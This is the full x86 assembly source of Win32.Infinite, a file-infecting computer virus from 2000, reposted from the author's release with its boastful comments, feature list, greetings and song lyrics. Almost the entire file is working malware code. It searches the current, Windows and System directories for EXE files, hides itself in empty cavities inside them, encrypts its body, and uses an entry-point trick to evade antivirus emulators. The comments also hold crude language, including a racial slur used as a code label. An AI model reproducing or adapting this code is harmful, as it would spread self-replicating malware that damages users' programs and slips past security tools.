Win32.Infinite.asm

来源:互联网 发布:淘宝怎么退定金 编辑:程序博客网 时间:2024/05/21 13:55
;
;哪嫩圹嫩圹嫩圹嫩圹嫩圹目
; 谀苘苣圹勰圹勰圹勰圹勰? [ Win32.Infinite Billy Belcebu/iKX ]
; 滥圹勰圹圹圹哪嫩圹圹哪?谀哪哪腫 1699 bytes Target - Win32 Ring3 ]哪哪哪
; 谀圹勰圹勰圹勰圹勰圹勰?? [ 17/07/00 - Made in Valencia, Spain ]
; 滥圹勰圹勰圹勰圹勰圹勰哪?
;
;
;
; [ Introduction ]
;
; Welcome to Infinite. This virus has been very rare for me, as its ambient
; of development was very odd. Well, it's my first virus using cavity tech,
; something that i thought that it was more difficult than it really was...
; I sincerely doubt that it would work in WinNT family (NT4,W2K), as i havent
; been able to test it there (Win2k has some incompatibilities with my
; 3DFX Voodoo2 and my soundcard), but i didn't wanted to change that thing of
; Win32. If it doesn't, i don't care... Blah blah blah, i've returned from my
; laaaarge VX holydays and i've just recently finished Forever and this babe.
; I hope i haven't lost my awesome code style (blah, just kidding... i don't
; have anything awesome besides the size of my dick - enormous) :)
; Oh, i almost forgot... I've realized that the cavity technique is stable
; most of the times, but it's not perfect, and i should do much more compro-
; bations before infection than the already existing ones, but i really don't
; care: Windows also has fails in its code and noone reminds it ;)
; It's not a special virus in any field, but i wanted to do some cavity stuff
; and here it is. Mwaha!
;
; [ Features ]
;
; + Cavity virus, searches for holes of zeroes or INT 3.
; + Infect files on current, WINDOWS and WINDOWS/SYSTEM directories.
; + Simple & silly 8-byte XOR encryption loop
; + Kinda simple EPO with emulator protection
; + Checks for SFC protection (if it works in Win2k...)
; + CRC32 usage (APIs, extensions...)
; + It's intended to be optimized (not too much, but enough)
;
; [ Greetings ]
;
; This time the greets will go to few ppl. From the VX scene, to StarZer0,
; Wintermute, VirusBuster, Benny, Asmodeus, LifeWire, Bumblebee, Ypsilon,
; and from outside to my best friends out there.Also to the people that tries
; to make this place we call world a much better place. You rule, guyz.
;
; [ Infinity - The song ]
;
; Mother watch your children
; The iron fist of fear is ruling our lives
; It's not too late to change the course
; We can make this world a better place to be in
;
; How much more do we want until we're satisfied?
; What happens when we have what we want?
; Acquiring more, still there's never enough
; We forget those who really are in need
; The end is near, or so they say
; Selling peace with guns
;
; Infinity - Where do we go from here?
; Infinity - Where do we go from here?
; Infinity - Where do we go?
; Infinity - Where do we go from here?
;
; Guns spitting (out the) message of peace everywhere
; Is it really that we don't care?
; See mercenaries of fear selling love
; Telling salvation comes from above
; Arrogance and fear walking hand in hand
; We must see that there's much more to life than this
;
; Mother see your children
; Make us understand to and help us to find the way
; The answers lie inside
; They are locked inside to the vault of truth of us
; It's time to spread the word around
; Be yourself and do what you want to do with your life
; Remember, you get just what you give
; You reap all what you sow
; You are in charge of your own life
;
; Infinity - Where do we go from here?
; Infinity - Where do we go from here?
; Infinity - Where do we go?
; Infinity - Where do we go from here?
;
; You make your own way
;
; ------------------------------------------
; Infinity - [ Stratovarius ] - ( Infinite )
;
; (c) 2000 Billy Belcebu/iKX [ http://beautifulpeople.cjb.net ]

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?Win32.Infinite (c) 2000 Billy Belcebu/iKX ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

include host.inc ; Some nice includes
include infinite.inc

virseg segment dword use32 public 'infinite'

virus_start:

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?Virus code ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

infinite:
push eax ; Make some space on stack
pushad
call decrypt

encrypt_start = $
call get_delta

call SetSEH ; Set our new protection frame
mov esp,[esp+08h]
call get_delta
jmp RestoreSEH
SetSEH:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp

push 05h ; ECX is the limit of pages
pop ecx
mov esi,ebp ; We put a page inside our code
call CheckImageBase ; Get our own image base
mov dword ptr [ebp+modbase-delta],esi

push 05h ; 50 pages to scan
pop ecx
mov esi,[esp+2Ch] ; Put the candidate to kernel
call CheckImageBase ; Scan backwards for it
mov dword ptr [ebp+kernel-delta],esi

lea eax,[ebp+api_list-delta] ; Let's detect all the needed
xchg eax,esi ; APIs :)
lea edi,[ebp+api_addresses-delta]
call GetAPIs

; Virus is now initialized, let's search for objectives.

lea edi,[ebp+current_dir-delta] ; Save current directory to
push edi ; a temp variable
push 7Fh
apicall GetCurrentDirectoryA

lea edi,[ebp+infect_dir-delta]
push 7Fh
push edi
apicall GetWindowsDirectoryA
call SetDir&Infect

lea edi,[ebp+infect_dir-delta]
push 7Fh
push edi
apicall GetSystemDirectoryA
call SetDir&Infect

lea edi,[ebp+current_dir-delta]
push edi
apicall SetCurrentDirectoryA
call Seek&Infect

; Now let's unprotect the memory where the epo bytes will be restored

call hh&l ; Hunting high & low :)
dq ?
hh&l: push 04h ; PAGE_READWRITE
push epo_bytes
mov eax,dword ptr [ebp+rethost-delta]
add eax,dword ptr [ebp+modbase-delta]
push eax
apicall VirtualProtect

; Now it's time to go away ;)

RestoreSEH:
xor edx,edx ; Restore the original SEH
pop dword ptr fs:[edx]
pop edx

mov edi,(offset host-400000h)
rethost equ $-4
add edi,12345678h
modbase equ $-4

mov [esp.20h],edi

call over0
sebes db epo_bytes dup (90h)
over0: pop esi
push epo_bytes
pop ecx
rep movsb

popad
ret

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?Mark of the virus ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

db 0,"Win32.Infinite (c) 2000 Billy Belcebu/iKX",0

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?Search for files to infect ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

SetDir&Infect:
lea edi,dword ptr [ebp+infect_dir-delta]
push edi
apicall SetCurrentDirectoryA

Seek&Infect:
lea eax,[ebp+WFD-delta] ; Search for files
push eax
call over3
db "*.*",0 ; Search for all files
over3: apicall FindFirstFileA

mov dword ptr [ebp+SearchHandle-delta],eax

inc eax
jz FailOccured

SearchForMore:
push dword ptr [ebp+modbase-delta] ; Preserve untouchable info
push dword ptr [ebp+rethost-delta]

lea edi,[(ebp.WFD.szFileName)-delta]; Is the file found factible
push edi ; of being infected?
call ProcessExtension
pop edi
jecxz NotThisTime ; Nopes.

call InfectPE

NotThisTime:
pop dword ptr [ebp+rethost-delta] ; Restore this interesting
pop dword ptr [ebp+modbase-delta] ; info

lea edi,[(ebp.WFD.szFileName)-delta]; Fill this with zeroes
mov ecx,260
xor al,al
rep stosb

lea eax,[ebp.WFD-delta] ; Search for more little
push eax ; suckers
push dword ptr [ebp+SearchHandle-delta]
apicall FindNextFileA
or eax,eax
jnz SearchForMore

CloseSearchHandle:
push dword ptr [ebp+SearchHandle-delta]
apicall FindClose
FailOccured:
ret

ProcessExtension:
; input:
; EDI - Pointer to file name
; output:
; ECX - NULL if it is not an extension; 1 if it is.

xor al,al ; Search for NULL
scasb
jnz $-1

lea esi,[edi-5] ; Get the extension :)
push 05h ; Size to calculate CRC32
pop edi
or dword ptr [esi],20202020h ; Make locase the lewsers
call CRC32

cmp eax,0F643C743h ; Only EXE files
jz ItWasExtension

dec edx
ItWasExtension:
inc edx
mov ecx,edx
ret

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?PE Infection Engine ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

InfectPE:
; input:
; EDI - Pointer to filename to infect
; output:
; Nothing.

cmp dword ptr [ebp+SfcIsFileProtected-delta],00h
jz NotInWin2k

push edi ; Win2k ability: it has feature
push 00h ; that warns the user if an
apicall SfcIsFileProtected ; important file is being
; modified. If the file has
or eax,eax ; such protection, we won't
jnz ExitInfectPE ; touch it, ok? ;)

NotInWin2k:
push 80h ; Destroy hostile attributes
push edi ; and put normal ones
apicall SetFileAttributesA

xor eax,eax ; Open file for R/W
push eax
push eax
push 03h ; OPEN_EXISTING flag
push eax
inc eax
push eax
push 0C0000000h ; READ / WRITE
push edi
apicall CreateFileA

inc eax
jz ExitInfectPE
dec eax

mov dword ptr [ebp+FileHandle-delta],eax
; Save handle of opened file
push eax

push 00h
push eax
apicall GetFileSize ; Get its size
mov dword ptr [ebp+OriginalSize-delta],eax

pop ecx ; ECX = Handle

xor ebx,ebx ; EBX = 0
push ebx
push 00h ; push size
push ebx
push 04h
push ebx
push ecx ; push handle
apicall CreateFileMappingA

or eax,eax
jz CloseFileExitInfectPE

mov dword ptr [ebp+MapHandle-delta],eax

xor ebx,ebx
push 00h ; We want map only file size
push ebx
push ebx
push 02h
push eax
apicall MapViewOfFile

or eax,eax
jz UnMap&CloseMap&FileExitInfectPE

mov dword ptr [ebp+MapAddress-delta],eax

mov esi,[eax+3Ch] ; Ptr to PE header =]
add esi,eax
mov dword ptr [ebp+PtrPEH-delta],esi

cmp word ptr [esi],"EP" ; Check for PE mark
jnz Trunc&UnMap&CloseMap&FileExitInfectPE

cmp dword ptr [esi.MagicInfection],inf_mark
jz Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for previous infection

cmp word ptr [esi.Machine],014Ch
jnz Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for i386 ;)

cmp dword ptr [ebp.WFD.nFileSizeHigh-delta],00h
jne Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow huge & ugly files

cmp dword ptr [ebp.WFD.nFileSizeLow-delta],4000h
jb Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow too little files

mov eax,[esi.EntrypointRVA] ; EAX = Old file's EIP
mov dword ptr [ebp+rethost-delta],eax

mov edi,esi
add esi,0F8h-28h ; Pointer to 1st section-28h
nigger: add esi,28h ; Ptr to section name ;)
mov edx,eax ; Put in EDX the original EIP
sub edx,[esi.VirtualAddress] ; Remove the VirtualAddress
cmp edx,[esi.VirtualSize] ; Is EIP pointing to this sec?
jae nigger ; If not, loop again

mov ebx,dword ptr [ebp+MapAddress-delta]

pushad
push dword ptr [esi.SizeOfRawData] ; Some tricky thing :)
pop dword ptr [esi.VirtualSize]
mov eax,[ebp+rethost-delta]
add eax,ebx
mov dword ptr [ebp+tempshit-delta],eax
popad

add ebx,[esi.PtrToRawData]
add edx,ebx
mov esi,edx ; ESI - Pointer to section
mov dword ptr [ebp+EPofs-delta],esi ; mapped in mem where da EP is.

mov ebx,dword ptr [ebp+OriginalSize-delta] ; Search limit
mov ecx,heap_end-virus_start+security ; How many space do we need
call SeekForHoles
jc ThereWasNoHole

pushad
sub eax,dword ptr [ebp+MapAddress-delta]
mov esi,dword ptr [ebp+PtrPEH-delta]
mov edi,esi ; We wanna put some attribs
add esi,0F8h-28h ; to the section where the
niggr2: add esi,28h ; virus code is located, so
mov edx,eax ; we've to search for it :)
sub edx,[esi.VirtualAddress]
cmp edx,[esi.VirtualSize]
jae niggr2

; EAX = Ptr to hole

mov dword ptr [ebp+inf_switch-delta],00h

; Let's check if we can put ourselves inside the hole (more security)

mov edx,[esi.VirtualAddress]
add edx,[esi.VirtualSize]
add eax,((heap_end-virus_start)+security)
sub edx,eax
js wecantinfectthere
mov dword ptr [ebp+inf_switch-delta],01h
or [esi.Characteristics],0A0000020h ; PUT IT SUCKA!
wecantinfectthere:
popad

mov ecx,12345678h
org $-4
inf_switch dd ?
or ecx,ecx
jz Trunc&UnMap&CloseMap&FileExitInfectPE

lea esi,[ebp+virus_start-delta]
mov edi,eax
add edi,security ; Some security :)

pushad
mov eax,12345678h ; Let's calculate where the
tempshit = $-4 ; jmp must point to
add eax,(killemu-epo)
sub edi,eax
mov dword ptr [ebp+jmpadd-delta],edi
popad

mov ecx,virus_size
rep movsb

; Encrypt with a silly l00p

pushad
sub edi,virus_end-encrypt_start
mov esi,edi
call random
mov bl,al
mov byte ptr [edi+enc_key-encrypt_start],bl
mov byte ptr [ebp+enc_k3y-delta],bl
mov ecx,encrypt_end-encrypt_start
enc_l00p:
lodsb
xor al,bl
stosb
loop enc_l00p
popad

pushad
sub edi,(virus_size-(sebes-virus_start))
mov esi,dword ptr [ebp+EPofs-delta]
push epo_bytes
pop ecx
pushad

lewpit:
lodsb ; Store EPO bytes also
xor al,00h ; encrypted
enc_k3y = $-1
stosb
loop lewpit

popad
xchg edi,esi

call over69

;哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
epo: call killemu ;?This code will give the control to the
mov esp,[esp+08h] ;?virus and avoid the scanning of emulators
xor edx,edx ;?at the same time :)
pop dword ptr fs:[edx];?
pop edx ;?
db 0E9h ;?
jmpadd: dd ? ;?
killemu:xor edx,edx ;?
push dword ptr fs:[edx];?
mov fs:[edx],esp ;?
div edx ;?
epo_bytes = $-epo ;?
;哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?

over69: pop esi

rep movsb
popad

mov esi,dword ptr [ebp+PtrPEH-delta]
mov dword ptr [esi.MagicInfection],inf_mark ; Put inf. mark

; Fix checksum if needed

add esi,58h
cmp dword ptr [esi],00h
jz Trunc&UnMap&CloseMap&FileExitInfectPE

push esi ; Pointer to CheckSum field
call n4t4s
dd ? ; Where store old CheckSum
n4t4s: push dword ptr [ebp+OriginalSize-delta]
push dword ptr [ebp+MapAddress-delta]
apicall CheckSumMappedFile

ThereWasNoHole:
Trunc&UnMap&CloseMap&FileExitInfectPE:
UnMap&CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapAddress-delta]
apicall UnmapViewOfFile

CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapHandle-delta]
apicall CloseHandle

CloseFileExitInfectPE:
push dword ptr [ebp+FileHandle-delta]
apicall CloseHandle

ExitInfectPE:
ret

SeekForHoles:
; input:
; ESI - Pointer inside file (in PE header)
; ECX - How many space do we need
; EBX - Search limit
; output:
; EAX - Pointer to the beginning of the shit
; CF - Set if error (couldn't find hole)

call SetSEH1
mov esp,[esp+08h] ; Just for security of
call get_delta ; scanning :)
jmp NSE_
SetSEH1:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp

push esi
GetAnotherByte:
xor edx,edx ; Clear counter :)
GAB2: dec ebx ; Check if we arrived until
jz NoShitEnough ; the limit (run away if so)
lodsb
or al,al ; NULL byte?
jz IsFillByte
cmp al,0CCh ; Int 3? (VC6 filez're full
jnz GetAnotherByte ; of them)
IsFillByte:
inc edx ; Increase counter
cmp ecx,edx
jnz GAB2
WeFoundManyShit:
sub esi,ecx ; ESI = Point to shit
xchg eax,esi
pop esi
pop dword ptr fs:[00h]
pop edx
ret
NoShitEnough:
pop esi
NSE_: stc
pop dword ptr fs:[00h]
pop edx
ret

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?APICRC32 Search Engine ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

GetAPIs proc
; input:
; EAX - Base address of the library where search the APIs
; ESI - Pointer to an array of CRC32 of the APIs we want to search
; EDI - Pointer to where store the APIs
; output:
; Nothing.

push eax ; EAX = Handle of module
pop dword ptr [ebp+TmpModuleBase-delta]
APIS33K:
lodsd ; Get in EAX the CRC32 of API
push esi edi
call GetAPI_ET_CRC32
pop edi esi
stosd ; Save in [EDI] the API address

cmp byte ptr [esi],0BBh ; There are more APIs in this
jnz APIS33K ; library

inc esi ; Check if it's the last of
cmp byte ptr [esi],"" ; all them
jz EndOfAPISearch

push esi ; ESI points now to the ASCIIz
apicall LoadLibraryA ; string of a library... We
; need to load it!
push eax

nxtchr: lodsb ; Reach the end of the lib
test al,al ; asciiz name
jnz nxtchr

pop eax
jmp GetAPIs

EndOfAPISearch:
ret
GetAPIs endp

GetAPI_ET_CRC32 proc
; input:
; EAX - CRC32 of the API we want to know its address
; output:
; EAX - API address, NULL if error

xor edx,edx

pushad

call over_APICRC32_SEH
mov esp,[esp+08h] ; Set stack as before
xor eax,eax ; signalize the error
jmp Remove_APICRC32_SEH

over_APICRC32_SEH:
push dword ptr fs:[edx] ; Set new SEH frame
mov dword ptr fs:[edx],esp

xchg eax,edx ; Put CRC32 of da api in EDX
mov dword ptr [ebp+Counter-delta],eax ; Clear this field :)
push 3Ch
pop esi
add esi,[ebp+TmpModuleBase-delta] ; Get PE header of module
lodsw
add eax,[ebp+TmpModuleBase-delta] ; Normalize

push 1Ch
pop esi
add esi,[eax+78h] ; Get a pointer to its edata
add esi,[ebp+TmpModuleBase-delta]

lea edi,[ebp+AddressTableVA-delta] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+TmpModuleBase-delta] ; Normalize
stosd ; And store in its variable

lodsd ; Get NameTable value
add eax,[ebp+TmpModuleBase-delta] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable

lodsd ; Get OrdinalTable value
add eax,[ebp+TmpModuleBase-delta] ; Normalize
stosd ; Store

pop esi ; ESI = NameTable VA

@?_3: lodsd ; Get pointer to an API name
push esi ; Save again
add eax,[ebp+TmpModuleBase-delta] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX

push edi ; Save EDI
xor al,al
scasb
jnz $-1
pop esi ; ESI = Pointer to API Name

sub edi,ebx ; EDI = API Name size

push edx ; Save API's CRC32
call CRC32 ; Get actual api's CRC32
pop edx ; Restore API's CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it

pop esi ; Restore ptr to api name
inc dword ptr [ebp+Counter-delta] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
mov eax,12345678h ; Put in EAX the number that
Counter = $-4 ; the API occupy in list.
shl eax,1 ; *2 (it's an array of words)
add eax,[ebp+OrdinalTableVA-delta] ; Normalize
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
cwde ; Clear MSW of EAX
shl eax,2 ; And with it we go to the
add eax,[ebp+AddressTableVA-delta] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+TmpModuleBase-delta] ; and normalize!! That's it!

Remove_APICRC32_SEH:
xor edx,edx ; Remove that SEH frame
pop dword ptr fs:[edx]
pop edx
mov [esp.1Ch],eax
popad
ret
GetAPI_ET_CRC32 endp

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?Subroutines ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

CRC32:
; input:
; ESI - Pointer to the data to process
; EDI - Size of such data
; output:
; EAX - CRC32 of that data

cld
pushad
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
not edx
not ecx
xchg eax,edx
rol eax,10h
mov ax,cx
mov [esp.PUSHAD_EAX],eax
popad
ret

CheckImageBase:
; input:
; ESI - Address inside module
; ECX - Limit
; output:
; ESI - module address

and esi,0FFFF0000h
cmp word ptr [esi],"ZM"
jz ItWasKewlEnough
NotCoolAddress:
sub esi,00010000h
loop CheckImageBase
ItWasKewlEnough:
ret

random:
; input:
; Nothing.
; output:
; EAX - Random number

apicall GetTickCount
xor eax,12345678h
org $-4
seed dd -1
mov dword ptr [ebp+seed-delta],eax
ret

; Let's save some bytes ;)

get_delta:
call delta ; Get a relative address from
delta: pop ebp ; when calculate offsets
ret

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?Virus Data ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

api_list = $
; db "KERNEL32",0 ; Don't needed
@VirtualProtect dd 079C3D4BBh
@FindFirstFileA dd 0AE17EBEFh
@FindNextFileA dd 0AA700106h
@FindClose dd 0C200BE21h
@CreateFileA dd 08C892DDFh
@SetFileAttributesA dd 03C19E536h
@CloseHandle dd 068624A9Dh
@GetCurrentDirectoryA dd 0EBC6C18Bh
@SetCurrentDirectoryA dd 0B2DBD7DCh
@GetWindowsDirectoryA dd 0FE248274h
@GetSystemDirectoryA dd 0593AE7CEh
@CreateFileMappingA dd 096B2D96Ch
@MapViewOfFile dd 0797B49ECh
@UnmapViewOfFile dd 094524B42h
@SetEndOfFile dd 059994ED6h
@GetFileSize dd 0EF7D811Bh
@SetFilePointer dd 085859D42h
@GetSystemTime dd 075B7EBE8h
@LoadLibraryA dd 04134D1ADh
@FreeLibrary dd 0AFDF191Fh
@GlobalAlloc dd 083A353C3h
@GlobalFree dd 05CDF6B6Ah
@WriteFile dd 021777793h
@GetProcAddress dd 0FFC97C1Fh
@GetTickCount dd 0613FD7BAh
db 0BBh

db "IMAGEHLP",0
@CheckSumMappedFile dd 078B31744h
db 0BBh

db "SFC",0
@SfcIsFileProtected dd 06DE8F7ABh
db 0BBh

; That's the end, my friend...

db ""

encrypt_end = $

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?Simple decryption l00p :) ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

decrypt:
pop esi
mov edi,esi
mov ecx,encrypt_end-encrypt_start
mov bl,00h
enc_key = $-1
dec_l00p:
lodsb
xor al,bl
stosb
loop dec_l00p
jmp encrypt_start

virus_end = $

; 赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?
; ?Virus Data in the heap ?
; 韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯?

kernel dd ?
TmpModuleBase dd ?
AddressTableVA dd ?
NameTableVA dd ?
OrdinalTableVA dd ?
OriginalSize dd ?
SearchHandle dd ?
FileHandle dd ?
MapHandle dd ?
MapAddress dd ?
PtrPEH dd ?
EPofs dd ?

api_addresses = $

; KERNEL32 APIs

VirtualProtect dd ?
FindFirstFileA dd ?
FindNextFileA dd ?
FindClose dd ?
CreateFileA dd ?
SetFileAttributesA dd ?
CloseHandle dd ?
GetCurrentDirectoryA dd ?
SetCurrentDirectoryA dd ?
GetWindowsDirectoryA dd ?
GetSystemDirectoryA dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
SetEndOfFile dd ?
GetFileSize dd ?
SetFilePointer dd ?
GetSystemTime dd ?
LoadLibraryA dd ?
FreeLibrary dd ?
GlobalAlloc dd ?
GlobalFree dd ?
WriteFile dd ?
GetProcAddress dd ?
GetTickCount dd ?

; IMAGEHLP APIs

CheckSumMappedFile dd ?

; SFC APIs

SfcIsFileProtected dd ?

; Other datas

WFD WIN32_FIND_DATA <?>
infect_dir db 7Fh dup (?)
current_dir db 7Fh dup (?)

heap_end = $

virseg ends

end infinite

;------------------------------[ INFINITE.INC ]------------------------------;

;****************************************************************************
;** This is the include file for the constant and macros of the virus **
;****************************************************************************

; Constants

virus_size = virus_end-virus_start
total_size = heap_end-virus_start
inf_mark = "AIAG"

security = 20d ; Very important

PUSHAD_EDI = 00h
PUSHAD_ESI = 04h
PUSHAD_EBP = 08h
PUSHAD_ESP = 0Ch
PUSHAD_EBX = 10h
PUSHAD_EDX = 14h
PUSHAD_ECX = 18h
PUSHAD_EAX = 1Ch

; Some PE header stuff

MagicPE = 00h
Machine = 04h
NumberOfSections= 06h
EntrypointRVA = 28h
CodeRVA = 2Ch
FileAlignment = 3Ch
MagicInfection = 4Ch
SizeOfImage = 50h
CheckSum = 58h
PECharacteristics= 5Eh
DirEntryReloc = 0A0h

; Some section header fields

SectionName = 00h
VirtualSize = 08h
VirtualAddress = 0Ch
SizeOfRawData = 10h
PtrToRawData = 14h
PtrToReloc = 18h
NumOfReloc = 20h
Characteristics = 24h


; Macros

apicall macro api2call
call dword ptr [ebp+api2call-delta]
endm

; Structures

WIN32_FIND_DATA struc
dwFileAttributes dd ?
ftCreationTime dq ?
ftLastAccessTime dq ?
ftLastWriteTime dq ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
szFileName db 260 dup (?)
szAlternateFileName db 13 dup (?)
db 03 dup (?)
WIN32_FIND_DATA ends


;-------------------------------[ HOST.INC ]--------------------------------;

;****************************************************************************
;** This is the host for the first generation **
;****************************************************************************

.586p
.model flat,stdcall

extrn MessageBoxA:PROC
extrn ExitProcess:PROC

_DATA segment dword use32 public 'DATA'

szTtl db "Win32.Infinite",0
szMsg db "Size "
db virus_size/1000 mod 10 + "0"
db virus_size/0100 mod 10 + "0"
db virus_size/0010 mod 10 + "0"
db virus_size/0001 mod 10 + "0"
db " - "
db "Virtual "
db total_size/1000 mod 10 + "0"
db total_size/0100 mod 10 + "0"
db total_size/0010 mod 10 + "0"
db total_size/0001 mod 10 + "0"
db 10,"(c) 2000 Billy Belcebu/iKX",0

_DATA ends

_TEXT segment dword use32 public 'CODE'

virus_init proc
jmp virus_start
host:
db epo_bytes dup (90h)
call MessageBoxA,0,offset szMsg,offset szTtl,0
call ExitProcess,0
virus_init endp

_TEXT ends